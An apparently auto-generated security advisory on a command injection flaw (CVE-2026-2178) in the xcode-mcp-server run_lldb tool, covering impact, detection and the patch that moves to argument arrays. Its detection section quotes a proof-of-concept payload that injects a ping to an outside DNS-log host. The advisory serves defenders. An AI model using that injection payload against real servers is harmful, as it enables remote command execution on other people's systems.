Executive Summary

[{'type': 'paragraph', 'content': "CVE-2026-2178 is a command injection vulnerability in the open-source project r-huijts xcode-mcp-server, specifically in the function registerXcodeTools within the run_lldb component. The vulnerability occurs because the argument 'args' is improperly handled and not sanitized, allowing an attacker to inject and execute arbitrary shell commands remotely. This flaw arises from unsafe use of Node.js child_process.exec or similar methods that interpolate user input directly into shell commands, enabling command injection (CWE-77/CWE-78). The vulnerability affects multiple tools in the project beyond run_lldb due to similar unsafe subprocess invocations."}, {'type': 'paragraph', 'content': 'The vulnerability is exploitable remotely without authentication or user interaction, and a public proof-of-concept exploit is available. The root cause was unsafe subprocess calls that allowed shell interpretation of user-controlled input. The fix involved refactoring all subprocess calls to use a safer method that passes arguments as arrays, avoiding shell parsing and validating inputs.'}] [1, 3, 4]

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Impact Analysis

[{'type': 'paragraph', 'content': 'This vulnerability can lead to arbitrary command execution on the affected system with the privileges of the MCP server process. The impact depends on the deployment environment:'}, {'type': 'list_item', 'content': "On a local MCP server without sandboxing, an attacker can execute any command with the current user's privileges."}, {'type': 'list_item', 'content': 'If the MCP server is sandboxed locally, command execution is limited to the sandbox environment.'}, {'type': 'list_item', 'content': 'In remote single-tenant or private deployments, remote code execution on the server is possible, potentially compromising the host.'}, {'type': 'list_item', 'content': 'In multi-tenant or SaaS environments, this vulnerability poses a critical risk of cross-tenant compromise and full service breach.'}, {'type': 'paragraph', 'content': 'Overall, the vulnerability threatens confidentiality, integrity, and availability of the system by allowing attackers to run arbitrary commands remotely, potentially leading to data theft, system compromise, or denial of service.'}] [1, 4]

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Compliance Impact

I don't know

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Detection Guidance

The vulnerability involves command injection via the args parameter in the registerXcodeTools function, which uses unsafe subprocess calls. Detection can focus on monitoring for suspicious command executions or unusual subprocess invocations related to the xcode-mcp-server, especially those involving the run_lldb tool or other affected tools.

Since the vulnerability arises from unsanitized inputs passed to child_process.exec, you can detect exploitation attempts by looking for unusual shell commands or payloads containing special characters or injection patterns in logs or process executions.

Specific commands to detect exploitation attempts might include:

• Monitoring running processes for suspicious commands related to xcode-mcp-server, e.g., using `ps aux | grep xcode-mcp-server`.
• Checking logs for command injection payloads, such as those containing shell metacharacters like `&`, `;`, or backticks.
• Using network monitoring tools to detect outbound connections triggered by injected commands (e.g., ping commands to attacker-controlled domains).
• Example of a known proof-of-concept payload used for detection: `&ping -c 2 xcode2.dnslog.lexpl0it.xyz&` which can be searched for in logs or command histories.

No specific detection commands are provided in the resources, but focusing on subprocess calls and command logs related to the xcode-mcp-server and its tools is recommended.

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Mitigation Strategies

The primary and immediate mitigation step is to apply the available patch identified by commit 11f8d6bacadd153beee649f92a78a9dad761f56f, which refactors all subprocess invocations to use a safer method that avoids shell command injection.

This patch replaces unsafe uses of child_process.exec with a utility function runExecFile that passes arguments as arrays, preventing shell interpretation and injection.

• Update the xcode-mcp-server codebase to include the patch from commit 11f8d6bacadd153beee649f92a78a9dad761f56f.
• Audit and refactor any custom or third-party code that uses child_process.exec or similar functions with unsanitized inputs.
• Validate and sanitize all user inputs, especially those passed as arguments to subprocesses.
• Restrict network access and sandbox the MCP service where possible to limit the impact of potential exploitation.

Applying the patch and following the subprocess invocation policy described in the patch commit is the recommended immediate action to prevent exploitation.

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